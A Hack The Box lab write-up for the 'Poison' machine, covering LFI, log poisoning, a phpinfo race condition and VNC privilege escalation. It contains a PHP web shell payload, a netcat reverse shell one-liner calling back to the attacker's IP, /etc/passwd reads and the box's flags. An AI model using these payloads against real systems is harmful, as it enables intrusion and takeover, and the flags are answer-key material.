Linux Boxes

poison

  1. nmap
    1. all ports
  2. http
    1. gobuster
      1. ini.php
      2. info.php
      3. phpinfo
      4. listedfiles.php
  3. foothold 1 backuppasswd.txt
    1. base64_decode.py
      1. scriptname = /etc/passwd
    2. ssh charix
  4. foothold 2: phpinfo.php race condition
    1. race condition concept w/ burp
      1. phpinfo.php php variables
    2. payloadallthethings
      1. revshell.php
      2. phpinfolfi.py
        1. tweak REQ1
        2. tweak tmp_name phpinfo output
      3. run
    3. /var/log/httpd-access.log
  5. foothold 3: Log Poisoning
    1. user-agent manipulation
    2. user-agent php code execution
      1. Warning about using double-quotes
    3. injecting php system call
      1. hostname & ls -la
    4. reverse shell
  6. priv esc
    1. secret.zip exfiltration
    2. ps -aux
      1. VNC
    3. VNC port 5901
      1. tunnel port 5901 through localhost
      2. vncviewer within tunneled localhost
      3. root
  7. user/root
  8. lessons learned

poison


images/21-1.png
images/21-2.png

nmap

nmap -sV -sC -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.84

images/22-1.png

all ports

no alternative ports were found open

images/2012-1.png

http

images/330-1.png

gobuster

images/2013-1.png

ini.php

dead ends

images/332-1.png

info.php

FreeBSD is the service being used running the server

images/331-1.png

phpinfo

images/333-1.png

images/333-2.png
images/333-3.png

listedfiles.php

we see in this directory that there is a listing that gobuster didn't pick up called pwdbackup.txt

images/343-1.png

foothold 1 backuppasswd.txt

listedfiles.txt leaks an unknown directory pwdbackup.txt that gives an encoded string with a message

images/345-1.png

base64_decode.py

if you aren't famililar with python then its fine, you can plug this string into a base64 decoder 16 times manually to get the password as well
images/344-1.png
images/344-2.png

running our python script we see the password decoded 13 times gives us Charix!2#4%6&8(0 which is a keyboard crawl following the name charix, indicating a potential user on the box
images/344-3.png

scriptname = /etc/passwd

The scriptname box is vulnerable to a LFI vulnerability, by typing /etc/passwd into the Scriptname field leaks its contents



images/2017-1.png
images/2017-2.png

from the output we see there is a user names charix, lets try his username with our base64 decoded password Charix!2#4%6&8(0


images/2017-3.png

ssh charix

sshing into charix with our Charix!2#4%6&8(0 password lands us our foothold!

images/348-1.png

foothold 2: phpinfo.php race condition

images/342-1.png

images/342-2.png

with file upload on, php is going to accept any files that get uploaded to it, it will put it into a directory
images/342-3.png

race condition concept w/ burp

first lets capture a packet request to phpinfo.php on burp


images/347-1.png
swap get request to a post request
images/347-2.png

images/347-3.png

swap the packet content-type: from images/347-4.png to multipart/form-data; boundary=--RaceCondition
images/347-5.png

and
----RaceCondition
Content-Disposition:form-data; name="anything"; filename="st0ve"
Content-Type: text/plain

<?Know I am St0ve ?>
----RaceCondition




images/347-6.png

phpinfo.php php variables

we see that our phpinfo.php page adds a new variable

before:
images/2014-1.png

After:
images/2014-2.png



we can see our file is created images/2014-3.png

so in summary, so the exploit makes a request as large as possible so the page can take php a few extra miliseconds processing it, and while it hits this page to upload this file,
1.
hitting the phpinfo page
2.
then hitting the LFI to call what the phpinfo page says (ie. reverse shell code)
3.
before php page loads and deletes the file

payloadallthethings

images/2015-1.png

images/2015-2.png

phpinfolfi.py
is what we want to use here
images/2015-3.png

revshell.php

grab a php reverse shell from
images/2018-1.png
or from pentestmonkey http://pentestmonkey.net/tools/web-shells/php-reverse-shell

images/2018-2.png

phpinfolfi.py

images/2016-1.png
images/2016-2.png

copy the ENTIRE php-reverse-shell into the phpinfolfi payload

from
images/2016-3.png

to
images/2016-4.png
images/2016-5.png
images/2016-6.png
images/2016-7.png
images/2016-8.png
images/2016-9.png


tweak REQ1

lastly we're going to swap the LFIREQ variable in phpinfolfi.py

from
images/346-1.png

to
/browse.php?file=%s where %s is a placeholder for filename
(we don't need to worry about the null byte (%00) its for previous versions of php
images/346-2.png

images/346-3.png

tweak tmp_name phpinfo output

running phpinfolfi.py we get an error stating images/2020-1.png

images/2020-2.png

to debug this issue we'll need to send the program through burp suite locally
first thing to do is set up a listener in burp on port 80

images/2020-3.png

and run the exploit locally
images/2020-4.png

images/2020-5.png


for every instance it appears images/2020-6.png
from
images/2020-7.png
to
images/2020-8.pngS

run

usage
images/2019-1.png


images/2019-2.png

set up a listener on port 1234

and we have our shell!
images/2019-3.png

/var/log/httpd-access.log

here's what the freebsd access-log looks like after our phpinfolfi.py attack hits, the access logs with the ‘A’s is from our exploit flooding the server with useless buff data so it has time to run the backdoor before the server deletes it:

images/2023-1.png

foothold 3: Log Poisoning

images/2022-1.png

images/2022-2.png
images/2022-3.png

looking back at our curl request on the access.log file from earlier we see that there is a user-agent being displayed,

images/2022-4.png
images/2022-5.png

user-agent manipulation

lets see if we can ‘poison’ that user-agent variable into running some malicious code from our end,

first thing to do is to intercept the packet we get from querying
any page from the server

images/2024-1.png
images/2024-2.png

we can change the user agent to some arbitrary string or code and send it to repeater (Ctrl+r)

images/2024-3.png

the response we get back is of no surprise but lets check the access log and see what happened
images/2024-4.png

we see we have complete control over the user-agent variable field displayed in the freebsd httpd-access.log
images/2024-5.png


user-agent php code execution

now something to note: if we see the php call on the log page then we know the code isn't passed to an evaluation on the server's end but if we dont see the php tags, we know we have code execution

Note: be sure to wrap your echo statement in single-quotes, as double-quotes will trigger FreeBSD to attempt to escape them server-side, making it impossible to carry out this exploit without reverting the box or having write access to the log fiel
images/2025-1.png

images/2025-2.png
images/2025-3.png

we have proof we have php code execution on the log page, now lets inject a php system call into the log file and see if we can get some RCE from it

Warning about using double-quotes

Warning, do NOT use double-quotes in the user-agent field, the FreeBSD server backend will try to ‘escape’ them and lead them with forward slashes / (single quotes are just fine)


if you wrap that same user-agent field in php code, we'll see that the tags do not show up in the access log
images/2026-1.png
now something to note: if we see the php call on the log page then we know the code isn't passed to an evaluation on the server's end but if we dont see the php tags, we know we have code execution

images/2026-2.png
images/2026-3.png
anddd we broke the page, the server breaks out of our double quotes and effectively breaks the access-log page, but is also proof that php code gets executed on the page!


unforunately the only way to fix the problem from here is to revert the box or gain root access to the box to edit the log file, images/2026-4.png

injecting php system call

keeping in mind not to break the log file with double quotes, lets swap the user-agent field with a standard php system call
<?php system($_REQUEST['cmd']); ?>

images/2027-1.png

images/2027-2.png
images/2027-3.png

now if we set our ‘cmd’ parameter to a command...
view-source:http://10.10.10.84/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=uname%20-a
images/2027-4.png

images/2027-5.png

hostname & ls -la

more commands for PoC
images/2028-1.png

images/2028-2.png


images/2028-3.png

images/2028-4.png

reverse shell

we want to use the BSD reverse shell from pentest monkey to call back to our attack machine

images/2029-1.png

however, the server does not like the 2>&1 redirect here so we'll emit that from the command to look like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i | nc 10.10.14.62 1234 >/tmp/f
images/2029-2.png

call back to a listener on our machine and we have our shell!
images/2029-3.png

priv esc

secret.zip exfiltration

Secure Copy Protocol [use Charix!2#4%6&8(0 for the password]

scp charix@10.10.10.84:secret.zip .
images/355-1.png

cant read secret at the moment but we may be able to pass it along as a key for a login down the line

ps -aux

When we take a close look at the running processes, we notice that theres a verison of TigerVNC owned by root listening on port 5901:
images/356-1.png

VNC

images/357-1.png

root 529 0.0 0.8 23620 7644 v0- I 00:45 0:00.13 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1


strange process being run on port 5901 with a VNCServer

VNC port 5901

since vncviewer isn't installed on poison,

we have to tunnel one of our local ports to the vicim port using ssh port forwarding so we can run our own copy of vncviewer on our victim's VNC session

tunnel port 5901 through localhost

The victim machine does not allow us to use vncviewer on its machine, but we can use port forwarding to forward one of our local ports to our victim machine's ports and run our local binaries/scripts on it not installed on the victim

Lets test it out by first tunneling our localhost port to charix's ssh session
ssh -L <remote port>:localhost:5901 charix@10.10.10.84
images/359-1.png

vncviewer within tunneled localhost

we can now unzip and pass/Use Secret.zip from earlier as credentials to vnc into root:

images/360-1.png

root

Voila! we successfully vnc'd into the root's TightVNC session.

images/361-1.png

user/root

images/354-1.png
user: eaacdfb2d141b72a589233063604209c

images/354-2.png
root: 716d04b188419cf2bb99d891272361f5

lessons learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/

images/1955-1.png